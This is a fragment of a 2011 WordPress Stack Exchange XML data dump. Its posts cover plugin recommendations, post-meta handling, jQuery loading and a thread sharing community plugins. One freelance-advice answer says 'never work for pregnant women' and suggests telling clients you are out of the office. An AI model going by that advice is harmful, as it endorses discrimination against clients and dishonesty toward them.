CommunityOwnedDate="2011-05-27T13:01:02.883" />
  <row Id="18444" PostTypeId="2" ParentId="18436" CreationDate="2011-05-27T13:01:24.067" Score="2" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/toscho/Germanix-WordPress-Plugin/blob/master/germanix_url.php&quot; rel=&quot;nofollow&quot;&gt;Germanix URL&lt;/a&gt; – Creates proper permalinks and filenames.*&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.arnebrachhold.de/projects/wordpress-plugins/google-xml-sitemaps-generator/&quot; rel=&quot;nofollow&quot;&gt;Google (XML) Sitemaps&lt;/a&gt; – Well … what the name says.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.relevanssi.com/&quot; rel=&quot;nofollow&quot;&gt;Relevanssi&lt;/a&gt; – Enhances the internal search engine.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe-to-double-opt-in-comments/&quot; rel=&quot;nofollow&quot;&gt;Subscribe To &quot;Double-Opt-In&quot; Comments&lt;/a&gt; – has a speaking name too.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/magic-widgets/&quot; rel=&quot;nofollow&quot;&gt;Magic Widgets&lt;/a&gt; – Enables widgets in &lt;code&gt;wp_header&lt;/code&gt; and &lt;code&gt;wp_footer&lt;/code&gt;.*&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://austinmatzko.com/wordpress-plugins/wp-db-backup/&quot; rel=&quot;nofollow&quot;&gt;WordPress Database Backup&lt;/a&gt; – Daily backup.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/toscho/Prevent-Title-Widows&quot; rel=&quot;nofollow&quot;&gt;Prevent Title Widows&lt;/a&gt; – Adds a no break space between the last two words of the title.*&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/toscho/WordPress-Shortcodes&quot; rel=&quot;nofollow&quot;&gt;WordPress Shortcodes&lt;/a&gt; – Shortcodes for tables etc.*&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/toscho/Last-Edits.-WordPress-Dashboard-Widget&quot; rel=&quot;nofollow&quot;&gt;Last Edits Dashboard Widget&lt;/a&gt; – Table of last activities.*&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/982554&quot; rel=&quot;nofollow&quot;&gt;Disable Wptexturize&lt;/a&gt; – De facto a performance boost. :)*&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;* Written by me.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-27T13:01:24.067" CommunityOwnedDate="2011-05-27T13:01:24.067" />
  <row Id="18445" PostTypeId="2" ParentId="18436" CreationDate="2011-05-27T13:12:00.307" Score="0" ViewCount="" Body="&lt;p&gt;If dealing with clients that have a support contract for updates and care I always use these plugins on a fresh install:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-file-monitor-plus/&quot; rel=&quot;nofollow&quot;&gt;WordPress File Monitor Plus&lt;/a&gt; - Written by me, monitors your WP install for file changes&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/update-notifier/&quot; rel=&quot;nofollow&quot;&gt;Update Notifier&lt;/a&gt; - I'm in the process of writing a better version, but send email alerts when WP core, themes and plugins have available updates.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've finished making a better Update Notifier&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-updates-notifier/&quot; rel=&quot;nofollow&quot;&gt;WP Updates Notifier&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-02T14:50:03.180" LastActivityDate="2011-06-02T14:50:03.180" CommunityOwnedDate="2011-05-27T13:12:00.307" />
  <row Id="18446" PostTypeId="1" AcceptedAnswerId="18447" CreationDate="2011-05-27T13:19:21.373" Score="1" ViewCount="95" Body="&lt;p&gt;&lt;br&gt;&#xA;it is not the first i see that we &quot;delete&quot; a post meta even if it does not exist : example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $count = get_post_meta($postID, $count_key, true);&#xA;    if($count==''){&#xA;        $count = 0;&#xA;        delete_post_meta($postID, $count_key);&#xA;        add_post_meta($postID, $count_key, '0');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if $count is empty, so if it does not exist in the database, we first delete the post meta? Why ? Thanks for your answer&lt;/p&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-05-27T13:25:02.677" Title="delete post meta from db, even if does not exist?" Tags="&lt;database&gt;&lt;post-meta&gt;" AnswerCount="2" />
  <row Id="18447" PostTypeId="2" ParentId="18446" CreationDate="2011-05-27T13:23:55.790" Score="1" ViewCount="" Body="&lt;p&gt;The reason why in the code, you show there, that &lt;code&gt;delete_post_meta()&lt;/code&gt; is run first, is because &lt;code&gt;add_post_meta()&lt;/code&gt; is run after it. If the delete wasn't done first then you would end up with multiple entries stored in the meta table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest it would be better to use &lt;code&gt;update_post_meta()&lt;/code&gt; rather than both &lt;code&gt;delete_post_meta()&lt;/code&gt; and &lt;code&gt;add_post_meta()&lt;/code&gt;. The reason for this is that &lt;code&gt;update_post_meta()&lt;/code&gt; will try to update the existing value and if it doesn't exist; will add the value.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-27T13:23:55.790" CommentCount="1" />
  <row Id="18448" PostTypeId="2" ParentId="18446" CreationDate="2011-05-27T13:25:02.677" Score="1" ViewCount="" Body="&lt;p&gt;Is this code from the core WordPress code or from a plugin or tutorial?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that you have invalid old data in the database, like an empty string. To make sure you start with &quot;clean&quot; data (always an integer), it would make sense to first delete all data with this key and then insert your clean data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Brady noted it would be better to use &lt;code&gt;update_post_meta()&lt;/code&gt; to replace possible existing values in one step.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T13:25:02.677" />
  <row Id="18449" PostTypeId="1" CreationDate="2011-05-27T13:27:00.377" Score="1" ViewCount="89" Body="&lt;pre&gt;&lt;code&gt;jQuery is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to edit a post, rearange categories the &quot;jQuery is not defined&quot; keeps poping up in firebug. But If I change my theme to another it allows me to change the categories and stuff like that. I checked my functions.php there is no line about jquery...&lt;/p&gt;&#xA;" OwnerUserId="5741" LastEditorUserId="5741" LastEditorDisplayName="" LastEditDate="2011-05-27T13:46:21.647" LastActivityDate="2011-05-27T13:46:21.647" Title="jQuery is not defined" Tags="&lt;jquery&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18450" PostTypeId="2" ParentId="18371" CreationDate="2011-05-27T13:30:48.677" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;em&gt;Save&lt;/em&gt; buttons have a class &lt;code&gt;widget-control-save&lt;/code&gt;, and this &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-admin/js/widgets.dev.js#L50&quot; rel=&quot;nofollow&quot;&gt;is hooked up to &lt;code&gt;wpWidgets.save()&lt;/code&gt;&lt;/a&gt;. So you either have to call &lt;code&gt;wpWidgets.save()&lt;/code&gt;, or (probably easier) trigger a click event on the &lt;em&gt;Save&lt;/em&gt; button.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T13:30:48.677" CommentCount="1" />
  <row Id="18451" PostTypeId="2" ParentId="18449" CreationDate="2011-05-27T13:32:47.487" Score="1" ViewCount="" Body="&lt;p&gt;As you have pointed out; the problem fixes itself if you change to another theme. That says to me that your current theme is stopping jquery from loading, hence why you are getting jQuery is not defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look in your theme files and make sure you don't have something like this: &lt;code&gt;wp_deregister_script('jquery');&lt;/code&gt;. You should never de-register it from the admin. If you want to de-register jquery on the front end but not the admin screen then use something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!is_admin()) {&#xA;    wp_deregister_script('jquery'); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-27T13:32:47.487" CommentCount="2" />
  <row Id="18452" PostTypeId="2" ParentId="18382" CreationDate="2011-05-27T13:48:33.393" Score="0" ViewCount="" Body="&lt;p&gt;I can't add too much to the other answers, so here're my 2 cents plus some client related stuff that could be considered when calculating the price.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Time calculation&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Do I have a complete sitemap?&lt;/li&gt;&#xA;&lt;li&gt;Do I have screenshots, links or PSDs for every part of the site?&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;strong&gt;3.b.&lt;/strong&gt; Do I get enough money to buy licenses for plugins i need? &#xA;&lt;strong&gt;3.a.&lt;/strong&gt; Is there enough money to buy developer licenses that will save me money with the next project or makes it possible to make another project where the budget would allow to pay for a plugin?&lt;/li&gt;&#xA;&lt;li&gt;Do I have to set up the theme on some server?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Things i (personally) wouldn't do:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fluid designs (Client will never be satisfied - Design will never look like expected &amp;amp; browser differences migth be visible for the client).&lt;/li&gt;&#xA;&lt;li&gt;E-Commerce platforms (Product range changes or expands - You will never be finished).&lt;/li&gt;&#xA;&lt;li&gt;Javascript flash clones (Catch a too old browser, some blocking AddOn or else and the client will hate you).&lt;/li&gt;&#xA;&lt;li&gt;An &quot;oviparous woll-milk pig&quot;: Something that can do all and everything. Clients with a good imagination &amp;amp; ideas are good. Some can't stop inveting or having new ideas each second.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Enquiry, Contract &amp; Client&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The (Web-)Designer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is a designer envolved?&lt;/li&gt;&#xA;&lt;li&gt;Do i get PSDs or Html Templates with finished mark-up?&lt;/li&gt;&#xA;&lt;li&gt;Does the designer have references online i can look at?&lt;/li&gt;&#xA;&lt;li&gt;Is the &quot;Designer&quot; a friend of her/him? (Always makes problems - the &quot;designer&quot; tells what's possible &amp;amp; how many time you &lt;em&gt;should&lt;/em&gt; need/how many money is to pay for x or y)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Client&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is he willing to pay 30% in advance? (Those clients don't jump off - and you get the job preparation payed if she/he does.)&lt;/li&gt;&#xA;&lt;li&gt;May i alter the design slightly to save time?&lt;/li&gt;&#xA;&lt;li&gt;Is the client really the client her-/himself or just the tech savy representend in front?&lt;/li&gt;&#xA;&lt;li&gt;Does the client have a buisness together with partners (or family members)? (If so, invite all of them to every meeting)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Contract&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Meetings&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set a limit/number for meetings for every phase of the project. If they cancel a meeting, it should count as meeting.&lt;/li&gt;&#xA;&lt;li&gt;Set a time limit for every meeting.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Guidance/Help Desk/Improvements&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Offer some hours of altering/improving the page after everythings payed and the site is online.&lt;/li&gt;&#xA;&lt;li&gt;Offer two sessions somewhere out of your office space to sit down and explain how basic stuff works.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Payment&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get payed for every finished phase. If the client won't do this, then he doesn't trust you. And so you shouldn't trust her/him.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Aftermath&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Don't offer them phone support. Do it if you want to, but only pick up the phone every second time or pick up and tell them that you're not at the office (if you're not).&lt;/li&gt;&#xA;&lt;li&gt;Never take a client into your office and &quot;quickly&quot; change something in front of them. They then think you need minutes for the whole thing.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Never&lt;/strong&gt;, really never ever give your work out of your hand, before you received the complete payment.&lt;/li&gt;&#xA;&lt;li&gt;Never work with a client who complains that the last &quot;webdesigner&quot; didn't do this or that and the project was unfinished.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;(Just my experience:)&lt;/em&gt; Never work for pregnant women :)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-27T13:48:33.393" CommunityOwnedDate="2011-05-27T13:48:33.393" />
  <row Id="18453" PostTypeId="2" ParentId="1413" CreationDate="2011-05-27T13:48:57.093" Score="0" ViewCount="" Body="&lt;p&gt;Also you can use this small plugin for view the possibilities of the backend in WP: &lt;a href=&quot;https://github.com/bueltge/WordPress-Admin-Style&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bueltge/WordPress-Admin-Style&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-05-27T13:48:57.093" />
  <row Id="18454" PostTypeId="2" ParentId="18439" CreationDate="2011-05-27T13:49:19.853" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://scribu.net/wordpress/wp-pagenavi/right-way-to-use-query_posts.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/wp-pagenavi/right-way-to-use-query_posts.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-05-27T13:49:19.853" CommentCount="4" />
  <row Id="18455" PostTypeId="2" ParentId="18283" CreationDate="2011-05-27T13:52:57.883" Score="1" ViewCount="" Body="&lt;p&gt;This is hard to answer - you're asking us to look in the minds of the WP developers who wrote this code :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that they thought the only place where you need to query for posts of all types is when you are doing a search, and thus they named it that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be documented more clearly in the Codex. The Codex is a wiki, so feel free to add it yourself!&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T13:52:57.883" CommentCount="2" />
  <row Id="18456" PostTypeId="2" ParentId="18429" CreationDate="2011-05-27T13:54:15.777" Score="0" ViewCount="" Body="&lt;p&gt;The meta query is converted by &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/meta.php#L357&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;_get_meta_sql()&lt;/code&gt;&lt;/a&gt;. You can check the output by hooking into &lt;code&gt;get_meta_sql&lt;/code&gt;. Dump that value and see what it gives.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T13:54:15.777" CommentCount="1" />
  <row Id="18457" PostTypeId="1" AcceptedAnswerId="18481" CreationDate="2011-05-27T13:57:29.280" Score="0" ViewCount="80" Body="&lt;p&gt;When my results show in Google for the respective keywords, in the meta description I see the date as well. Is there a way to remove the date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example meta description shows up as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;15 Jun 2009 ... My meta description&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use FV Simplr SEO and very pleased with it.. Would like to know if there's a hack for this.&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-05-27T15:32:08.383" Title="How to remove date from showing in meta description" Tags="&lt;post-meta&gt;&lt;seo&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18458" PostTypeId="1" AcceptedAnswerId="18508" CreationDate="2011-05-27T14:01:10.540" Score="0" ViewCount="38" Body="&lt;p&gt;&lt;br&gt;&#xA;i'm trying to use feedburner : i try to create a new google account, but when i enter my future email adress, they say &quot;this email does not exist&quot;, of course, i'm trying to create it... here's the link : &lt;a href=&quot;https://www.google.com/accounts/NewAccount?continue=http%3A%2F%2Ffeedburner.google.com%2Ffb%2Fa%2Fmyfeeds&amp;amp;service=feedburner&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/accounts/NewAccount?continue=http%3A%2F%2Ffeedburner.google.com%2Ffb%2Fa%2Fmyfeeds&amp;amp;service=feedburner&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would you do? Then, once i have a google account for my feeds (i hope i will have one!) i just download a rss feeds working with feedburner 'plugin', and copy and paste let's say : &lt;a href=&quot;http://my_url.com/wordpress/my-movies/&quot; rel=&quot;nofollow&quot;&gt;http://my_url.com/wordpress/my-movies/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and that's it? Thanks for your help !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paul_p&lt;/p&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-05-27T20:01:51.273" ClosedDate="2011-05-28T20:05:46.917" Title="problem with feedburner" Tags="&lt;rss&gt;&lt;feedburner&gt;" AnswerCount="2" />
  <row Id="18459" PostTypeId="1" CreationDate="2011-05-27T14:05:10.297" Score="16" ViewCount="366" Body="&lt;h3&gt;Link your WPSE-Plugins&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you answered a question and made a plugin out of your code, than this is your place to share it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Idea:&lt;/strong&gt;&#xA;An old comment from &lt;em&gt;@MikeSchinkel&lt;/em&gt; during the beta phase where he wrote something like &quot;I wonder how many plugins will come out of WA&quot;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&quot;Rules&quot;&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Write a short - &lt;em&gt;one line&lt;/em&gt; - description of what the plugin is intended to do.&lt;/li&gt;&#xA;&lt;li&gt;Tell how it's meant to be used: Template Tag, Shortcode, Widget, Plug &amp;amp; Play.&lt;/li&gt;&#xA;&lt;li&gt;Link to your plugins in an answer, on github/bitbucket/whatever or in the wp.org repo.&lt;/li&gt;&#xA;&lt;li&gt;Please &lt;em&gt;link one plugin per answer&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If you got some answers that would serve well as plugin, just modify your A and link it here.&lt;/li&gt;&#xA;&lt;li&gt;If your plugin became a commercial plugin later, it's ok to post the link here.&lt;/li&gt;&#xA;&lt;li&gt;If your plugin is not cc- &lt;em&gt;plus&lt;/em&gt; GNU GPL 2-licensed, please mention the license.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Notes:&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I added a tag named &lt;a href=&quot;/questions/tagged/wpse-plugin&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'wpse-plugin'&quot; rel=&quot;tag&quot;&gt;wpse-plugin&lt;/a&gt; to this answer. Please edit the Q (where your Answer ended up as a plugin) and add the tag, or ask a moderator to do so.&lt;/li&gt;&#xA;&lt;li&gt;I'll upvote any Answer/Plugin added here.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://meta.wordpress.stackexchange.com/questions/645/wpse-plugin-repo&quot;&gt;Please also join the discussion about this on meta&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; About License&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to a lot of discussion about copyright &amp;amp; open source licenses&lt;sup&gt;1)&lt;/sup&gt;, i want to mention that these plugins run under the cc-license &lt;em&gt;plus&lt;/em&gt; the GNU GPL 2-license, if the author didn't mention else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1)&lt;/sup&gt; Some related discussion examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://meta.wordpress.stackexchange.com/questions/256/gpl-copyright-and-code-snippets&quot;&gt;@EAMann&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://yoast.com/wpmu-dev-copyright-infringement/&quot; rel=&quot;nofollow&quot;&gt;Joost de Valk&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-29T21:13:34.500" LastActivityDate="2011-08-29T21:13:34.500" CommunityOwnedDate="2011-05-29T03:38:13.367" Title="WPSE Plugin Repository: The plugins that came out of WP-Answers" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;wpse-plugin&gt;" AnswerCount="12" CommentCount="1" FavoriteCount="17" />
  <row Id="18460" PostTypeId="2" ParentId="18459" CreationDate="2011-05-27T14:10:38.687" Score="7" ViewCount="" Body="&lt;h3&gt;Internal Link checker&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adds a meta box to the post edit screen, that lists and links all posts inside your blog that link to the currently displayed post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Type:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plug &amp;amp; Play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/tExr2.jpg&quot; alt=&quot;Shows the meta box on the post edit/new screen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Download-Link:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/internal-link-checker/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org/Extend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/16822/how-do-i-check-if-i-linked-to-a-post-before-i-delete-it/16878#16878&quot;&gt;How do I check if I linked to a post before I delete it?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-27T14:20:54.890" LastActivityDate="2011-05-27T14:20:54.890" CommunityOwnedDate="2011-05-29T03:38:13.367" />
  <row Id="18461" PostTypeId="1" CreationDate="2011-05-27T14:20:02.343" Score="0" ViewCount="57" Body="&lt;p&gt;I need to override the setting in the WP Admin for the number of recent posts in the Syndication settings under General -&gt; Admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following code, which gets all posts, but I don't need that many. Can someone tell me how to retrieve 50 posts?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function no_limits_for_feed( $limits ) {&#xA;    return '';&#xA;}&#xA;&#xA;add_filter( 'post_limits', 'no_limits_for_feed' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5267" LastActivityDate="2011-08-25T18:34:48.327" Title="How to get override the WP Admin Syndication feed limit for a custom feed?" Tags="&lt;posts&gt;&lt;feed&gt;" AnswerCount="1" />
  <row Id="18462" PostTypeId="2" ParentId="18459" CreationDate="2011-05-27T14:20:31.240" Score="2" ViewCount="" Body="&lt;h3&gt;Dynamic Template serving for devices&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allows using different templates (and related stylesheets) for different devices (Read the comments inside the code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Device detection not included. If you have tried it in combination with &lt;a href=&quot;http://www.modernizr.com/docs/&quot; rel=&quot;nofollow&quot;&gt;Modernizr&lt;/a&gt;, please leave a comment.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Type:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template Tag&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Download-Link:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/886501&quot; rel=&quot;nofollow&quot;&gt;Github/Gist&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12931/dynamic-template-serving-change-theme-root-using-add-filter-from-current-theme/13019#13019&quot;&gt;Dynamic template serving, change theme_root using add_filter from current theme&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-23T21:04:20.880" LastActivityDate="2011-08-23T21:04:20.880" CommunityOwnedDate="2011-05-29T03:38:13.367" CommentCount="3" />
  <row Id="18463" PostTypeId="1" AcceptedAnswerId="18465" CreationDate="2011-05-27T14:21:47.300" Score="0" ViewCount="126" Body="&lt;p&gt;I found an XML to WP decoder script that stores the data as an array in a custom meta field. What is the best way to extract the information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example how could I display the &quot;Manufactured in&quot; field as &quot;CANADA&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[_ttn_i_details] =&amp;gt; Array ( [0] =&amp;gt; a:5:{s:9:&quot;engine_id&quot;;a:1:{i:0;s:9:&quot;300000225&quot;;}s:15:&quot;transmission_id&quot;;a:1:{i:0;s:6:&quot;257691&quot;;}s:5:&quot;plant&quot;;a:1:{i:0;s:23:&quot;Oshawa, Ontario, Canada&quot;;}s:15:&quot;Manufactured in&quot;;a:1:{i:0;s:6:&quot;CANADA&quot;;}s:22:&quot;Production Seq. Number&quot;;a:1:{i:0;s:6:&quot;151411&quot;;}} )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example code above was produced via &lt;code&gt;print_r(get_post_custom($post-&amp;gt;ID));&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really appreciate any insight, no matter how small. :)&lt;/p&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="1057" LastEditorDisplayName="" LastEditDate="2011-05-27T14:29:38.850" LastActivityDate="2011-05-27T14:52:35.530" Title="How to extract data from a post meta serialized array?" Tags="&lt;post-meta&gt;&lt;array&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="18464" PostTypeId="2" ParentId="18459" CreationDate="2011-05-27T14:25:12.657" Score="4" ViewCount="" Body="&lt;p&gt;&lt;h3&gt;Cron Job List&lt;/H3&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lists all cron jobs in a table in your &lt;code&gt;wp_footer()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Type:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plug &amp;amp; Play&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/TvJdv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Download-Link:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/987128&quot; rel=&quot;nofollow&quot;&gt;Github/Gist&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/18017/how-can-i-change-the-frequency-of-a-scheduled-event/18033#18033&quot;&gt;How can I change the frequency of a scheduled event ?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" 